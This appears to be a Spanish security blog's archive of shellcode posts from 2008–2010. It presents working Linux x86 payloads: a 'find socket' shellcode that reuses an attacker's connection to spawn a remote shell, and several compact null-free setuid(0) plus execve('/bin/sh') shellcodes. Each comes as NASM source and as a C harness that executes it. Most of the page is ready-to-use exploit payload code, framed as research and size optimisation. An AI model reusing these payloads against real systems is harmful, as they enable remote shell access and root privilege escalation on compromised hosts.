Archive

Archive for the ‘Shellcodes’ Category

Shellcoding – Tips & Series

December 13th, 2010 3 comments

Por cuestiones personales llevo bastante tiempo offline, pero por suerte aún puedo pasar algún tiempo leyendo algunos blogs y RSS. Concretamente, leyendo el blog de vlan7 veo que está publicando una serie de posts sobre shellcoding bastante curiosos, y lo que parece ser el comienzo de una serie de artículos sobre shellcoding! Pongo los links a continuación y desde aquí animar a vlan7 a seguir con las series.

Creando shellcodes “position independent”

Shellcoding. A vueltas con el flag NX

0×01 – ASM / Shellcoding Series I

Categories: ASM, GNU/Linux, Programacion, Shellcodes Tags:

Find Socket & Spawns a Shell (PoC Shellcode)

April 25th, 2009 No comments

El payload más común cuando se explota una vulnerabilidad remota en un servidor, es una bind/reverse shellcode, pero en la mayoría de los casos nos será inútil debido a la existencia de un cortafuegos que bloquea la conexión, por esto mismo existen las shellcodes “Find Socket”, para buscar un socket (del atacante) abierto, y lanzar sobre la conexión establecida una consola remota. Naturalmente, existen varios tipos dentro de esta shell, y la diferencia consiste en el método de encontrar el socket del atacante.

Para esto existen básicamente dos opciones:

  1. getpeername
  2. read/recv

Como sus nombres indican, la primera de ellas obtiene los datos del cliente de un socket, y la segunda lee los datos del conector a un buffer.

A primera vista parece que la mejor opción es usar “getpeername“, pero habrá entornos (nat) en los que los datos que nos devuelve esta función no serán los que esperemos. Precisamente por esto, se suele usar recv/read para localizar el socket. La idea es, que después de explotar corréctamente la vulnerabilidad, enviemos una cadena identificada por la shellcode, para obtener el socket y lanzar la consola.

Para conseguir identificar la cadena, se activa el flag O_NONBLOCK del socket mediante “fcntl” (enviando un IOCTL (F_GETF) y obtener los flags del descriptor,  hacer una OR con O_NONBLOCK y enviarle este valor mediante otro IOCTL (F_SETF)), después de esto se leen N bytes del socket, y se establecen los flags originales.

Hecho esto, si los N bytes leídos coinciden con los identificados por la shellcode, lanzará la consola por ese socket, y si no coincide, incrementará el valor del descriptor y volverá a hacer lo mismo.

Si bien la idea es buena como prueba de concepto, en un escenario real habría que saber ciertos datos de la conexión que un cliente no tiene por qué saber (incluso no puede saberlo), como el tamaño del buffer de recepción del servidor, e incluso en caso de saberlo, si el servidor maneja los datos recibidos antes que la shellcode, esta se saltaría el socket y no tendríamos la consola.

Pero inconvenientes a parte, he estado haciendo una prueba de concepto cuyo código tenéis a continuación, aunque falta activar el flag O_NONBLOCK del socket ;-)

push 0x586F5267
mov edi,esp ;buffer esperado 'gRoX'
push byte 1
mov esi,esp;buffer de recepcion
xor eax,eax
push ax
push byte 4 ;length
push esi ;buffer recv
cdq
lea ebx,[edx+0x0a]
;busqueda del socket
bucle:
;recv(...);
push edx ;socket
mov ecx,esp
push byte 0x66
pop eax
int 80h
pop edx
xchg eax,ecx
push esi
push edi
repe cmpsb
pop edi
pop esi
jne sigue
;hemos encontrado nuestro socket
;lanzamos la consola
;dup2
mov eax,ecx
xchg ebx,edx
mov cl,2
dup:
mov al,0x3f
int 80h
dec ecx
jns dup
;setuid()
xchg ebx,eax
mov al,0x17
cdq
int 80h
;execve()
inc ecx
push ebx
push 0x68732f6e
push 0x69622f2f
mov al,0x0b
mov ebx,esp
int 80h
mov dx,0xfffe
sigue:
inc dx
cmp dx,0xffff ;valor max.
jne bucle
Categories: ASM, GNU/Linux, Programacion, Shellcodes Tags:

Smallest GNU/Linux x86 setuid(0) & exec(“/bin/sh”,0,0) Stable shellcode – 28 bytes

November 26th, 2008 3 comments

Después de todo lo que hemos hecho, vlan7 me avisó de que las shellcodes anteriores sobre las que habíamos estado trabajando, estaban mal escrita, ya que ambos estábamos metiendo el uid de la llamada setuid en el registro ecx, en lugar de ebx…. Un fallo sin perdón, sin duda.

Así que después de meditarlo bien, retocar la shellcode, probarla en diferentes entornos, modificando la pila, los registros, etc. He llegado a esta shellcode estable de 28 bytes que realiza corréctamente ambas llamadas, setuid & execve:

Código para nasm:

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

Código en C:

#include 

const char shellcode[]= "\x31\xdb"
			"\x8d\x43\x17"
			"\x99"
			"\xcd\x80"
			"\x31\xc9"
			"\x51"
			"\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69"
			"\x8d\x41\x0b"
			"\x89\xe3"
			"\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + [email protected]"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 29/11/2008"
			"\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}
Categories: ASM, C/C++, GNU/Linux, Programacion, Shellcodes Tags:

Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell

November 23rd, 2008 8 comments

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.

La más pequeña hasta la fecha.

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL

History:
	+ v1.0 (27 bytes) => http://safetybits.net/2008/11/14/gnulinux-x86-
                             setuid0-execvebinsh00-shellcode-without-null/

	+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)

http://packetstormsecurity.org/filedesc/

                             smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include 

const char shellcode[]=	"\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
			"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + [email protected]"
			"\n\t + http://safetybits.net"
			"\n\n[+] Date: 22/11/2008"
			"\n\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt

Categories: ASM, C/C++, GNU/Linux, Programacion, Shellcodes Tags:

GNU/Linux x86 setuid(0) & execve(“/bin/sh”,0,0) shellcode without NULL

November 14th, 2008 7 comments

POST ACTUALIZADO: http://safetybits.net/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Hacía bastante tiempo que no trabajaba con shellcodes, así que hice una para GNU/Linux x86 de 27 bytes, que ejecuta un setuid(0) y un execve(“/bin/sh”,0,0).

Hasta ahora, la más pequeña que he visto (pública) era de 28 bytes.

/*
Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0) Shellcode
without NULLs

Coded by Chema Garcia (aka sch3m4)
   + [email protected]
   + http://safetybits.net
  Shellcode Size: 27 bytes
  Date: 13/11/2008
*/

#include 

const char shellcode[]=    "\x31\xC0"        //xor eax,eax
           "\x31\xC9"        //xor ecx,ecx
           "\xB0\x17"        //mov al,17h
           "\x60"            //pusha
           "\xCD\x80"        //int 80h
           "\x61"            //popa
           "\x51"            //push ecx
           "\x68\x6E\x2F\x73\x68"    //push 0x68732f6e
           "\x68\x2F\x2F\x62\x69"    //push 0x69622f2f
           "\x89\xE3"        //mov ebx, esp
           "\xB0\x0B"        //mov al,0xb
           "\xCD\x80";        //int 0x80

int main()
{
   printf("Smallest GNU/Linux x86 setuid(0) && execve("/bin/sh",0,0)
Shellcode without NULLs"
           "\n\nCoded by Chema Garcia (aka sch3m4)"
           "\n\t + [email protected]"
           "\n\t + http://safetybits.net"
           "\n\n[+] Shellcode Size: %d bytes\n\n",sizeof(shellcode)-1);
         //(*(void (*)()) shellcode)();

   return 0;
}
global _start

section .text

_start:

xor eax,eax
xor ecx,ecx
mov al,17h;setuid
pusha
int 80h
popa
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
mov al,0xb;execve
int 0x80

milw0rm: http://milw0rm.com/shellcode/7115
PacketStormSecurity: http://packetstormsecurity.org/filedesc/smallnonulls-exec.txt.html

Editado: Unos días después de publicarla, vlan7 optimizó la shellcode en un byte, el código podéis verlo en su blog. Desde aquí, mis felicitaciones a vlan7.

Categories: ASM, C/C++, Programacion, Shellcodes Tags: